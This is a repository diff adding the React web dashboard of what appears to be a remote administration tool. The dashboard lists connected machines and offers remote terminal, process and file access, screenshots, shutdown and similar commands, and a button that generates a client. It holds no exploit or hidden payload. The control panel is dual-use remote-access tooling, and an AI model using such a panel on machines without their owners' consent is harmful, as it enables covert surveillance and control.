||||
dataIndex: 'mac',
|
||||
ellipsis: true,
|
||||
width: 100
|
||||
},
|
||||
{
|
||||
key: 'LAN',
|
||||
title: 'LAN',
|
||||
dataIndex: 'lan',
|
||||
ellipsis: true,
|
||||
width: 100
|
||||
},
|
||||
{
|
||||
key: 'WAN',
|
||||
title: 'WAN',
|
||||
dataIndex: 'wan',
|
||||
ellipsis: true,
|
||||
width: 100
|
||||
},
|
||||
{
|
||||
key: 'Mem',
|
||||
title: 'Mem',
|
||||
dataIndex: 'mem',
|
||||
ellipsis: true,
|
||||
renderText: formatSize,
|
||||
width: 70
|
||||
},
|
||||
{
|
||||
key: 'Uptime',
|
||||
title: 'Uptime',
|
||||
dataIndex: 'uptime',
|
||||
ellipsis: true,
|
||||
renderText: tsToTime,
|
||||
width: 100
|
||||
},
|
||||
{
|
||||
key: 'Option',
|
||||
width: 180,
|
||||
title: '操作',
|
||||
dataIndex: 'id',
|
||||
valueType: 'option',
|
||||
ellipsis: true,
|
||||
render: (_, device) => renderOperation(device)
|
||||
},
|
||||
];
|
||||
const options = {
|
||||
show: true,
|
||||
density: true,
|
||||
setting: false,
|
||||
};
|
||||
const tableRef = useRef();
|
||||
|
||||
function renderOperation(device) {
|
||||
return [
|
||||
<a key='terminal' onClick={setTerminal.bind(null, device.id)}>终端</a>,
|
||||
<a key='procmgr' onClick={setProcMgr.bind(null, device.id)}>进程</a>,
|
||||
<a key='browser' onClick={() => {
|
||||
setBrowser(device.id);
|
||||
setIsWindows(device.os === 'windows');
|
||||
}}>文件</a>,
|
||||
<TableDropdown
|
||||
key='more'
|
||||
onSelect={(key) => callDevice(key, device.id)}
|
||||
menus={[
|
||||
{key: 'screenshot', name: '截屏'},
|
||||
{key: 'lock', name: '锁屏'},
|
||||
{key: 'logoff', name: '注销'},
|
||||
{key: 'hibernate', name: '休眠'},
|
||||
{key: 'suspend', name: '睡眠'},
|
||||
{key: 'restart', name: '重启'},
|
||||
{key: 'shutdown', name: '关机'},
|
||||
{key: 'offline', name: '离线'},
|
||||
]}
|
||||
/>,
|
||||
]
|
||||
}
|
||||
|
||||
function callDevice(act, device) {
|
||||
if (act === 'screenshot') {
|
||||
request('/api/device/screenshot/get', {device: device}, {}, {
|
||||
responseType: 'blob'
|
||||
}).then((res) => {
|
||||
if ((res.data.type??'').substring(0, 16) === 'application/json') {
|
||||
res.data.text().then((str) => {
|
||||
let data = {};
|
||||
try {
|
||||
data = JSON.parse(str);
|
||||
} catch (e) {}
|
||||
message.warn(data.msg??'请求服务器失败')
|
||||
});
|
||||
} else {
|
||||
if (screenBlob.length > 0) {
|
||||
URL.revokeObjectURL(screenBlob);
|
||||
}
|
||||
setScreenBlob(URL.createObjectURL(res.data));
|
||||
}
|
||||
});
|
||||
return;
|
||||
}
|
||||
let menus = {
|
||||
lock: '锁屏',
|
||||
logoff: '注销',
|
||||
hibernate: '休眠',
|
||||
suspend: '睡眠',
|
||||
restart: '重启',
|
||||
shutdown: '关机',
|
||||
offline: '离线',
|
||||
};
|
||||
if (!menus.hasOwnProperty(act)) {
|
||||
return;
|
||||
}
|
||||
Modal.confirm({
|
||||
title: `确定要${menus[act]}该设备吗?`,
|
||||
icon: <QuestionCircleOutlined/>,
|
||||
okText: '确定',
|
||||
cancelText: '取消',
|
||||
onOk() {
|
||||
request('/api/device/' + act, {device: device}).then(res => {
|
||||
let data = res.data;
|
||||
if (data.code === 0) {
|
||||
message.success('操作已执行');
|
||||
tableRef.current.reload();
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function toolBar() {
|
||||
return (
|
||||
<Generate
|
||||
title='生成客户端'
|
||||
trigger={<Button type='primary'>生成客户端</Button>}
|
||||
/>
|
||||
)
|
||||
}
|
||||
|
||||
async function getData(form) {
|
||||
await waitTime(300);
|
||||
let res = await request('/api/device/list');
|
||||
let data = res.data;
|
||||
if (data.code === 0) {
|
||||
let result = [];
|
||||
for (const uuid in data.data) {
|
||||
let temp = data.data[uuid];
|
||||
temp.conn = uuid;
|
||||
result.push(temp);
|
||||
}
|
||||
result = result.sort((first, second) => {
|
||||
let firstEl = first.hostname.toUpperCase();
|
||||
let secondEl = second.hostname.toUpperCase();
|
||||
if (firstEl < secondEl) return -1;
|
||||
if (firstEl > secondEl) return 1;
|
||||
return 0;
|
||||
});
|
||||
result = result.sort((first, second) => {
|
||||
let firstEl = first.os.toUpperCase();
|
||||
let secondEl = second.os.toUpperCase();
|
||||
if (firstEl < secondEl) return -1;
|
||||
if (firstEl > secondEl) return 1;
|
||||
return 0;
|
||||
});
|
||||
return ({
|
||||
data: result,
|
||||
success: true,
|
||||
total: result.length
|
||||
});
|
||||
}
|
||||
return ({data: [], success: false, total: 0});
|
||||
}
|
||||
|
||||
return (
|
||||
<>
|
||||
<Image
|
||||
preview={{
|
||||
visible: screenBlob,
|
||||
src: screenBlob,
|
||||
onVisibleChange: () => {
|
||||
URL.revokeObjectURL(screenBlob);
|
||||
setScreenBlob('');
|
||||
}
|
||||
}}
|
||||
/>
|
||||
<Browser
|
||||
isWindows={isWindows}
|
||||
visible={browser}
|
||||
device={browser}
|
||||
onCancel={setBrowser.bind(null, false)}
|
||||
/>
|
||||
<Processes
|
||||
visible={procMgr}
|
||||
device={procMgr}
|
||||
onCancel={setProcMgr.bind(null, false)}
|
||||
/>
|
||||
<Terminal
|
||||
visible={terminal}
|
||||
device={terminal}
|
||||
onCancel={setTerminal.bind(null, false)}
|
||||
/>
|
||||
<ProTable
|
||||
rowKey='id'
|
||||
search={false}
|
||||
options={options}
|
||||
columns={columns}
|
||||
request={getData}
|
||||
pagination={false}
|
||||
actionRef={tableRef}
|
||||
toolBarRender={toolBar}
|
||||
/>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
function wrapper(props) {
|
||||
let Component = overview;
|
||||
return (<Component {...props} key={Math.random()}/>)
|
||||
}
|
||||
|
||||
export default wrapper;
|
99
web/src/static/bg.svg
Normal file
99
web/src/static/bg.svg
Normal file
@@ -0,0 +1,99 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<svg width="1361px" height="609px" viewBox="0 0 1361 609" version="1.1" xmlns="http://www.w3.org/2000/svg">
|
||||
<g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
|
||||
<g transform="translate(-79.000000, -82.000000)">
|
||||
<g transform="translate(77.000000, 73.000000)">
|
||||
<g opacity="0.8"
|
||||
transform="translate(74.901416, 569.699158) rotate(-7.000000) translate(-74.901416, -569.699158) translate(4.901416, 525.199158)">
|
||||
<ellipse fill="#CFDAE6" opacity="0.25" cx="63.5748792" cy="32.468367" rx="21.7830479"
|
||||
ry="21.766008"></ellipse>
|
||||
<ellipse fill="#CFDAE6" opacity="0.599999964" cx="5.98746479" cy="13.8668601" rx="5.2173913"
|
||||
ry="5.21330997"></ellipse>
|
||||
<path d="M38.1354514,88.3520215 C43.8984227,88.3520215 48.570234,83.6838647 48.570234,77.9254015 C48.570234,72.1669383 43.8984227,67.4987816 38.1354514,67.4987816 C32.3724801,67.4987816 27.7006688,72.1669383 27.7006688,77.9254015 C27.7006688,83.6838647 32.3724801,88.3520215 38.1354514,88.3520215 Z"
|
||||
fill="#CFDAE6" opacity="0.45"></path>
|
||||
<path d="M64.2775582,33.1704963 L119.185836,16.5654915" stroke="#CFDAE6" stroke-width="1.73913043"
|
||||
stroke-linecap="round" stroke-linejoin="round"></path>
|
||||
<path d="M42.1431708,26.5002681 L7.71190162,14.5640702" stroke="#E0B4B7" stroke-width="0.702678964"
|
||||
opacity="0.7" stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-dasharray="1.405357899873153,2.108036953469981"></path>
|
||||
<path d="M63.9262187,33.521561 L43.6721326,69.3250951" stroke="#BACAD9" stroke-width="0.702678964"
|
||||
stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-dasharray="1.405357899873153,2.108036953469981"></path>
|
||||
<g transform="translate(126.850922, 13.543654) rotate(30.000000) translate(-126.850922, -13.543654) translate(117.285705, 4.381889)"
|
||||
fill="#CFDAE6">
|
||||
<ellipse opacity="0.45" cx="9.13482653" cy="9.12768076" rx="9.13482653"
|
||||
ry="9.12768076"></ellipse>
|
||||
<path d="M18.2696531,18.2553615 C18.2696531,13.2142826 14.1798519,9.12768076 9.13482653,9.12768076 C4.08980114,9.12768076 0,13.2142826 0,18.2553615 L18.2696531,18.2553615 Z"
|
||||
transform="translate(9.134827, 13.691521) scale(-1, -1) translate(-9.134827, -13.691521) "></path>
|
||||
</g>
|
||||
</g>
|
||||
<g transform="translate(216.294700, 123.725600) rotate(-5.000000) translate(-216.294700, -123.725600) translate(106.294700, 35.225600)">
|
||||
<ellipse fill="#CFDAE6" opacity="0.25" cx="29.1176471" cy="29.1402439" rx="29.1176471"
|
||||
ry="29.1402439"></ellipse>
|
||||
<ellipse fill="#CFDAE6" opacity="0.3" cx="29.1176471" cy="29.1402439" rx="21.5686275"
|
||||
ry="21.5853659"></ellipse>
|
||||
<ellipse stroke="#CFDAE6" opacity="0.4" cx="179.019608" cy="138.146341" rx="23.7254902"
|
||||
ry="23.7439024"></ellipse>
|
||||
<ellipse fill="#BACAD9" opacity="0.5" cx="29.1176471" cy="29.1402439" rx="10.7843137"
|
||||
ry="10.7926829"></ellipse>
|
||||
<path d="M29.1176471,39.9329268 L29.1176471,18.347561 C23.1616351,18.347561 18.3333333,23.1796097 18.3333333,29.1402439 C18.3333333,35.1008781 23.1616351,39.9329268 29.1176471,39.9329268 Z"
|
||||
fill="#BACAD9"></path>
|
||||
<g opacity="0.45" transform="translate(172.000000, 131.000000)" fill="#E6A1A6">
|
||||
<ellipse cx="7.01960784" cy="7.14634146" rx="6.47058824" ry="6.47560976"></ellipse>
|
||||
<path d="M0.549019608,13.6219512 C4.12262681,13.6219512 7.01960784,10.722722 7.01960784,7.14634146 C7.01960784,3.56996095 4.12262681,0.670731707 0.549019608,0.670731707 L0.549019608,13.6219512 Z"
|
||||
transform="translate(3.784314, 7.146341) scale(-1, 1) translate(-3.784314, -7.146341) "></path>
|
||||
</g>
|
||||
<ellipse fill="#CFDAE6" cx="218.382353" cy="138.685976" rx="1.61764706" ry="1.61890244"></ellipse>
|
||||
<ellipse fill="#E0B4B7" opacity="0.35" cx="179.558824" cy="175.381098" rx="1.61764706"
|
||||
ry="1.61890244"></ellipse>
|
||||
<ellipse fill="#E0B4B7" opacity="0.35" cx="180.098039" cy="102.530488" rx="2.15686275"
|
||||
ry="2.15853659"></ellipse>
|
||||
<path d="M28.9985381,29.9671598 L171.151018,132.876024" stroke="#CFDAE6" opacity="0.8"></path>
|
||||
</g>
|
||||
<g opacity="0.799999952"
|
||||
transform="translate(1054.100635, 36.659317) rotate(-11.000000) translate(-1054.100635, -36.659317) translate(1026.600635, 4.659317)">
|
||||
<ellipse stroke="#CFDAE6" stroke-width="0.941176471" cx="43.8135593" cy="32" rx="11.1864407"
|
||||
ry="11.2941176"></ellipse>
|
||||
<g transform="translate(34.596774, 23.111111)" fill="#BACAD9">
|
||||
<ellipse opacity="0.45" cx="9.18534718" cy="8.88888889" rx="8.47457627"
|
||||
ry="8.55614973"></ellipse>
|
||||
<path d="M9.18534718,17.4450386 C13.8657264,17.4450386 17.6599235,13.6143199 17.6599235,8.88888889 C17.6599235,4.16345787 13.8657264,0.332739156 9.18534718,0.332739156 L9.18534718,17.4450386 Z"></path>
|
||||
</g>
|
||||
<path d="M34.6597385,24.809694 L5.71666084,4.76878945" stroke="#CFDAE6"
|
||||
stroke-width="0.941176471"></path>
|
||||
<ellipse stroke="#CFDAE6" stroke-width="0.941176471" cx="3.26271186" cy="3.29411765" rx="3.26271186"
|
||||
ry="3.29411765"></ellipse>
|
||||
<ellipse fill="#F7E1AD" cx="2.79661017" cy="61.1764706" rx="2.79661017" ry="2.82352941"></ellipse>
|
||||
<path d="M34.6312443,39.2922712 L5.06366663,59.785082" stroke="#CFDAE6"
|
||||
stroke-width="0.941176471"></path>
|
||||
</g>
|
||||
<g opacity="0.33"
|
||||
transform="translate(1282.537219, 446.502867) rotate(-10.000000) translate(-1282.537219, -446.502867) translate(1142.537219, 327.502867)">
|
||||
<g transform="translate(141.333539, 104.502742) rotate(275.000000) translate(-141.333539, -104.502742) translate(129.333539, 92.502742)"
|
||||
fill="#BACAD9">
|
||||
<circle opacity="0.45" cx="11.6666667" cy="11.6666667" r="11.6666667"></circle>
|
||||
<path d="M23.3333333,23.3333333 C23.3333333,16.8900113 18.1099887,11.6666667 11.6666667,11.6666667 C5.22334459,11.6666667 0,16.8900113 0,23.3333333 L23.3333333,23.3333333 Z"
|
||||
transform="translate(11.666667, 17.500000) scale(-1, -1) translate(-11.666667, -17.500000) "></path>
|
||||
</g>
|
||||
<circle fill="#CFDAE6" cx="201.833333" cy="87.5" r="5.83333333"></circle>
|
||||
<path d="M143.5,88.8126685 L155.070501,17.6038544" stroke="#BACAD9"
|
||||
stroke-width="1.16666667"></path>
|
||||
<path d="M17.5,37.3333333 L127.466252,97.6449735" stroke="#BACAD9" stroke-width="1.16666667"></path>
|
||||
<polyline stroke="#CFDAE6" stroke-width="1.16666667"
|
||||
points="143.902597 120.302281 174.935455 231.571342 38.5 147.510847 126.366941 110.833333"></polyline>
|
||||
<path d="M159.833333,99.7453842 L195.416667,89.25" stroke="#E0B4B7" stroke-width="1.16666667"
|
||||
opacity="0.6"></path>
|
||||
<path d="M205.333333,82.1372105 L238.719406,36.1666667" stroke="#BACAD9"
|
||||
stroke-width="1.16666667"></path>
|
||||
<path d="M266.723424,132.231988 L207.083333,90.4166667" stroke="#CFDAE6"
|
||||
stroke-width="1.16666667"></path>
|
||||
<circle fill="#C1D1E0" cx="156.916667" cy="8.75" r="8.75"></circle>
|
||||
<circle fill="#C1D1E0" cx="39.0833333" cy="148.75" r="5.25"></circle>
|
||||
<circle fill-opacity="0.6" fill="#D1DEED" cx="8.75" cy="33.25" r="8.75"></circle>
|
||||
<circle fill-opacity="0.6" fill="#D1DEED" cx="243.833333" cy="30.3333333" r="5.83333333"></circle>
|
||||
<circle fill="#E0B4B7" cx="175.583333" cy="232.75" r="5.25"></circle>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
After Width: | Height: | Size: 8.7 KiB |
61
web/src/utils/utils.js
Normal file
61
web/src/utils/utils.js
Normal file
@@ -0,0 +1,61 @@
|
||||
import axios from 'axios';
|
||||
import Qs from 'qs';
|
||||
|
||||
function request(url, data, headers, ext, noTrans) {
|
||||
let _headers = headers ?? {};
|
||||
_headers = Object.assign({'Content-Type': 'application/x-www-form-urlencoded'}, _headers);
|
||||
return axios(Object.assign({
|
||||
url: url,
|
||||
data: data,
|
||||
method: 'post',
|
||||
headers: _headers,
|
||||
transformRequest: noTrans ? [] : [Qs.stringify],
|
||||
}, ext??{}));
|
||||
};
|
||||
|
||||
function waitTime(time) {
|
||||
time = (time ?? 100);
|
||||
return new Promise((resolve) => {
|
||||
setTimeout(() => {
|
||||
resolve(true);
|
||||
}, time);
|
||||
});
|
||||
};
|
||||
|
||||
function formatSize(bytes) {
|
||||
if (bytes === 0) return 'Unknown';
|
||||
let k = 1024,
|
||||
i = Math.floor(Math.log(bytes) / Math.log(k)),
|
||||
sizes = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
|
||||
return (bytes / Math.pow(k, i)).toFixed(2) + ' ' + sizes[i];
|
||||
}
|
||||
|
||||
function tsToTime(ts) {
|
||||
if (isNaN(ts)) return 'Unknown';
|
||||
let hours = Math.floor(ts / 3600);
|
||||
ts %= 3600;
|
||||
let minutes = Math.floor(ts / 60);
|
||||
return `${hours}小时${minutes}分钟`;
|
||||
}
|
||||
|
||||
function post(url, data, ext) {
|
||||
let form = document.createElement('form');
|
||||
form.action = url;
|
||||
form.method = 'POST';
|
||||
form.target = '_self';
|
||||
|
||||
for (const key in ext) {
|
||||
form[key] = ext[key];
|
||||
}
|
||||
for (const key in data) {
|
||||
let input = document.createElement('input');
|
||||
input.name = key;
|
||||
input.value = data[key];
|
||||
form.appendChild(input);
|
||||
}
|
||||
|
||||
document.body.appendChild(form).submit();
|
||||
form.remove();
|
||||
}
|
||||
|
||||
export {post, request, waitTime, formatSize, tsToTime};
|
138
web/webpack.config.js
Normal file
138
web/webpack.config.js
Normal file
@@ -0,0 +1,138 @@
|
||||
const path = require('path');
|
||||
const TerserPlugin = require('terser-webpack-plugin');
|
||||
const HtmlWebpackPlugin = require('html-webpack-plugin');
|
||||
const UglifyJsPlugin = require('uglifyjs-webpack-plugin');
|
||||
const {CleanWebpackPlugin} = require('clean-webpack-plugin');
|
||||
const AntdDayjsWebpackPlugin = require('antd-dayjs-webpack-plugin');
|
||||
|
||||
module.exports = (env, args) => {
|
||||
let mode = args.mode;
|
||||
return {
|
||||
entry: './src/index.js',
|
||||
output: {
|
||||
publicPath: mode === 'development' ? undefined : './',
|
||||
path: path.resolve(__dirname, 'dist'),
|
||||
filename: '[name].js' //'[name].[contenthash:7].js'
|
||||
},
|
||||
devtool: mode === 'development' ? 'eval-source-map' : false,
|
||||
module: {
|
||||
rules: [
|
||||
{
|
||||
test: /\.(js|jsx)$/,
|
||||
use: 'babel-loader',
|
||||
exclude: /node_modules/
|
||||
},
|
||||
{
|
||||
test: /\.css$/,
|
||||
use: [
|
||||
'style-loader',
|
||||
'css-loader'
|
||||
]
|
||||
},
|
||||
{
|
||||
test: /\.less$/,
|
||||
use: [
|
||||
'style-loader',
|
||||
'css-loader',
|
||||
{
|
||||
loader: 'less-loader',
|
||||
options: {
|
||||
lessOptions: {
|
||||
modifyVars: {'@primary-color': '#1DA57A'},
|
||||
javascriptEnabled: true
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
resolve: {
|
||||
extensions: [
|
||||
'.js',
|
||||
'.jsx'
|
||||
]
|
||||
},
|
||||
plugins: mode === 'production' ? [
|
||||
new HtmlWebpackPlugin({
|
||||
appMountId: 'root',
|
||||
template: './public/index.html',
|
||||
filename: 'index.html',
|
||||
inject: true
|
||||
}),
|
||||
new CleanWebpackPlugin(),
|
||||
new AntdDayjsWebpackPlugin()
|
||||
] : [
|
||||
new HtmlWebpackPlugin({
|
||||
appMountId: 'root',
|
||||
template: './public/index.html',
|
||||
filename: 'index.html',
|
||||
inject: true
|
||||
}),
|
||||
new CleanWebpackPlugin(),
|
||||
new AntdDayjsWebpackPlugin()
|
||||
],
|
||||
optimization: {
|
||||
minimize: mode === 'production',
|
||||
minimizer: [
|
||||
new TerserPlugin({
|
||||
extractComments: false,
|
||||
terserOptions: {
|
||||
compress: {
|
||||
drop_console: mode === 'production'
|
||||
}
|
||||
}
|
||||
}),
|
||||
new UglifyJsPlugin({
|
||||
test: /\.js(\?.*)?$/i,
|
||||
chunkFilter: (chunk) => chunk.name !== 'vendor',
|
||||
cache: true,
|
||||
parallel: 5,
|
||||
sourceMap: mode === 'development',
|
||||
uglifyOptions: {
|
||||
compress: {
|
||||
drop_console: mode === 'production',
|
||||
collapse_vars: true,
|
||||
reduce_vars: true,
|
||||
},
|
||||
output: {
|
||||
beautify: mode === 'production',
|
||||
comments: mode === 'development',
|
||||
}
|
||||
}
|
||||
})
|
||||
],
|
||||
runtimeChunk: 'single',
|
||||
splitChunks: {
|
||||
chunks: 'initial',
|
||||
cacheGroups: {
|
||||
runtime: {
|
||||
name: 'runtime',
|
||||
test: (module) => {
|
||||
return /axios|react|redux|antd|ant-design/.test(module.context);
|
||||
},
|
||||
chunks: 'initial',
|
||||
priority: 10,
|
||||
reuseExistingChunk: true
|
||||
},
|
||||
vendor: {
|
||||
test: /[\\/]node_modules[\\/]/,
|
||||
name: 'vendors',
|
||||
reuseExistingChunk: true
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
devServer: {
|
||||
port: 3000,
|
||||
open: true,
|
||||
hot: true,
|
||||
proxy: {
|
||||
'/api/': {
|
||||
target: 'https://1248.ink/spark/',
|
||||
secure: false
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
};
|
Reference in New Issue
Block a user